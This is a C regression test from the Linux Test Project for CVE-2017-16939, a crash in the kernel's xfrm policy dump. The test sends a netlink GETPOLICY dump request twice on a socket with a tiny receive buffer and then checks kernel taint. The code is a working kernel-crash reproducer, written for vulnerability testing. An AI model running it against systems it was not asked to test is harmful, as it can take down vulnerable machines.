xref: /aosp_15_r20/external/ltp/testcases/cve/cve-2017-16939.c (revision 49cdfc7efb34551c7342be41a7384b9c40d7cab7)
1*49cdfc7eSAndroid Build Coastguard Worker // SPDX-License-Identifier: GPL-2.0-or-later
2*49cdfc7eSAndroid Build Coastguard Worker /*
3*49cdfc7eSAndroid Build Coastguard Worker  * Copyright (c) 2018 Michael Moese <[email protected]>
4*49cdfc7eSAndroid Build Coastguard Worker  */
5*49cdfc7eSAndroid Build Coastguard Worker /* Regression test for commit:
6*49cdfc7eSAndroid Build Coastguard Worker  * 1137b5e2529a ipsec: Fix aborted xfrm policy dump crash aka CVE-2017-16939
7*49cdfc7eSAndroid Build Coastguard Worker  *
8*49cdfc7eSAndroid Build Coastguard Worker  * Based on the reproducing code from Mohammed Ghannam, published on
9*49cdfc7eSAndroid Build Coastguard Worker  * https://blogs.securiteam.com/index.php/archives/3535
10*49cdfc7eSAndroid Build Coastguard Worker  *
11*49cdfc7eSAndroid Build Coastguard Worker  * CAUTION! If your system is vulnerable to this CVE, the kernel
12*49cdfc7eSAndroid Build Coastguard Worker  * WILL DIE!
13*49cdfc7eSAndroid Build Coastguard Worker  */
14*49cdfc7eSAndroid Build Coastguard Worker 
15*49cdfc7eSAndroid Build Coastguard Worker #include <unistd.h>
16*49cdfc7eSAndroid Build Coastguard Worker #include <stdlib.h>
17*49cdfc7eSAndroid Build Coastguard Worker #include <string.h>
18*49cdfc7eSAndroid Build Coastguard Worker #include <sys/socket.h>
19*49cdfc7eSAndroid Build Coastguard Worker #include <sys/wait.h>
20*49cdfc7eSAndroid Build Coastguard Worker #include <netinet/in.h>
21*49cdfc7eSAndroid Build Coastguard Worker #include <linux/netlink.h>
22*49cdfc7eSAndroid Build Coastguard Worker 
23*49cdfc7eSAndroid Build Coastguard Worker #include "lapi/xfrm.h"
24*49cdfc7eSAndroid Build Coastguard Worker #include "tst_test.h"
25*49cdfc7eSAndroid Build Coastguard Worker #include "tst_res_flags.h"
26*49cdfc7eSAndroid Build Coastguard Worker #include "tst_safe_macros.h"
27*49cdfc7eSAndroid Build Coastguard Worker #include "tst_safe_net.h"
28*49cdfc7eSAndroid Build Coastguard Worker #include "lapi/sched.h"
29*49cdfc7eSAndroid Build Coastguard Worker 
30*49cdfc7eSAndroid Build Coastguard Worker static int fd = -1;
31*49cdfc7eSAndroid Build Coastguard Worker static struct sockaddr_nl nl_addr;
32*49cdfc7eSAndroid Build Coastguard Worker static struct nlmsghdr xfrm_msg;
33*49cdfc7eSAndroid Build Coastguard Worker 
setup(void)34*49cdfc7eSAndroid Build Coastguard Worker static void setup(void)
35*49cdfc7eSAndroid Build Coastguard Worker {
36*49cdfc7eSAndroid Build Coastguard Worker 	tst_setup_netns();
37*49cdfc7eSAndroid Build Coastguard Worker 
38*49cdfc7eSAndroid Build Coastguard Worker 	nl_addr.nl_family = AF_NETLINK;
39*49cdfc7eSAndroid Build Coastguard Worker 	nl_addr.nl_pid = 0; /* packet goes into the kernel */
40*49cdfc7eSAndroid Build Coastguard Worker 	nl_addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */
41*49cdfc7eSAndroid Build Coastguard Worker 
42*49cdfc7eSAndroid Build Coastguard Worker 	xfrm_msg.nlmsg_len = NLMSG_LENGTH(0);
43*49cdfc7eSAndroid Build Coastguard Worker 	xfrm_msg.nlmsg_type = XFRM_MSG_GETPOLICY;
44*49cdfc7eSAndroid Build Coastguard Worker 	xfrm_msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI | NLM_F_REQUEST;
45*49cdfc7eSAndroid Build Coastguard Worker 	xfrm_msg.nlmsg_seq = 0x1;
46*49cdfc7eSAndroid Build Coastguard Worker 	xfrm_msg.nlmsg_pid = 2;
47*49cdfc7eSAndroid Build Coastguard Worker }
48*49cdfc7eSAndroid Build Coastguard Worker 
send_nlmsg(int fd,struct nlmsghdr * msg,struct sockaddr_nl * addr)49*49cdfc7eSAndroid Build Coastguard Worker static void send_nlmsg(int fd, struct nlmsghdr *msg, struct sockaddr_nl *addr)
50*49cdfc7eSAndroid Build Coastguard Worker {
51*49cdfc7eSAndroid Build Coastguard Worker 	SAFE_SENDTO(1, fd, (void *)msg, msg->nlmsg_len, 0,
52*49cdfc7eSAndroid Build Coastguard Worker 		    (struct sockaddr *)addr, sizeof(struct sockaddr_nl));
53*49cdfc7eSAndroid Build Coastguard Worker }
54*49cdfc7eSAndroid Build Coastguard Worker 
run(void)55*49cdfc7eSAndroid Build Coastguard Worker static void run(void)
56*49cdfc7eSAndroid Build Coastguard Worker {
57*49cdfc7eSAndroid Build Coastguard Worker 	fd = SAFE_SOCKET(PF_NETLINK, SOCK_RAW, NETLINK_XFRM);
58*49cdfc7eSAndroid Build Coastguard Worker 	SAFE_SETSOCKOPT_INT(fd, SOL_SOCKET, SO_RCVBUF, 0x100);
59*49cdfc7eSAndroid Build Coastguard Worker 
60*49cdfc7eSAndroid Build Coastguard Worker 	/* message must be sent twice to trigger the bug */
61*49cdfc7eSAndroid Build Coastguard Worker 	send_nlmsg(fd, &xfrm_msg, &nl_addr);
62*49cdfc7eSAndroid Build Coastguard Worker 	send_nlmsg(fd, &xfrm_msg, &nl_addr);
63*49cdfc7eSAndroid Build Coastguard Worker 	SAFE_CLOSE(fd);
64*49cdfc7eSAndroid Build Coastguard Worker 
65*49cdfc7eSAndroid Build Coastguard Worker 	/* wait for socket close callback to crash */
66*49cdfc7eSAndroid Build Coastguard Worker 	usleep(100000);
67*49cdfc7eSAndroid Build Coastguard Worker 
68*49cdfc7eSAndroid Build Coastguard Worker 	if (tst_taint_check()) {
69*49cdfc7eSAndroid Build Coastguard Worker 		tst_res(TFAIL, "Kernel is vulnerable");
70*49cdfc7eSAndroid Build Coastguard Worker 		return;
71*49cdfc7eSAndroid Build Coastguard Worker 	}
72*49cdfc7eSAndroid Build Coastguard Worker 
73*49cdfc7eSAndroid Build Coastguard Worker 	tst_res(TPASS, "Kernel seems to have survived");
74*49cdfc7eSAndroid Build Coastguard Worker }
75*49cdfc7eSAndroid Build Coastguard Worker 
cleanup(void)76*49cdfc7eSAndroid Build Coastguard Worker static void cleanup(void)
77*49cdfc7eSAndroid Build Coastguard Worker {
78*49cdfc7eSAndroid Build Coastguard Worker 	if (fd >= 0)
79*49cdfc7eSAndroid Build Coastguard Worker 		SAFE_CLOSE(fd);
80*49cdfc7eSAndroid Build Coastguard Worker }
81*49cdfc7eSAndroid Build Coastguard Worker 
82*49cdfc7eSAndroid Build Coastguard Worker static struct tst_test test = {
83*49cdfc7eSAndroid Build Coastguard Worker 	.setup = setup,
84*49cdfc7eSAndroid Build Coastguard Worker 	.test_all = run,
85*49cdfc7eSAndroid Build Coastguard Worker 	.cleanup = cleanup,
86*49cdfc7eSAndroid Build Coastguard Worker 	.taint_check = TST_TAINT_W | TST_TAINT_D,
87*49cdfc7eSAndroid Build Coastguard Worker 	.needs_kconfigs = (const char *[]) {
88*49cdfc7eSAndroid Build Coastguard Worker 		"CONFIG_USER_NS=y",
89*49cdfc7eSAndroid Build Coastguard Worker 		"CONFIG_NET_NS=y",
90*49cdfc7eSAndroid Build Coastguard Worker 		NULL
91*49cdfc7eSAndroid Build Coastguard Worker 	},
92*49cdfc7eSAndroid Build Coastguard Worker 	.save_restore = (const struct tst_path_val[]) {
93*49cdfc7eSAndroid Build Coastguard Worker 		{"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP},
94*49cdfc7eSAndroid Build Coastguard Worker 		{}
95*49cdfc7eSAndroid Build Coastguard Worker 	},
96*49cdfc7eSAndroid Build Coastguard Worker 	.tags = (const struct tst_tag[]) {
97*49cdfc7eSAndroid Build Coastguard Worker 		{"linux-git", "1137b5e2529a"},
98*49cdfc7eSAndroid Build Coastguard Worker 		{"CVE", "2017-16939"},
99*49cdfc7eSAndroid Build Coastguard Worker 		{}
100*49cdfc7eSAndroid Build Coastguard Worker 	}
101*49cdfc7eSAndroid Build Coastguard Worker };
102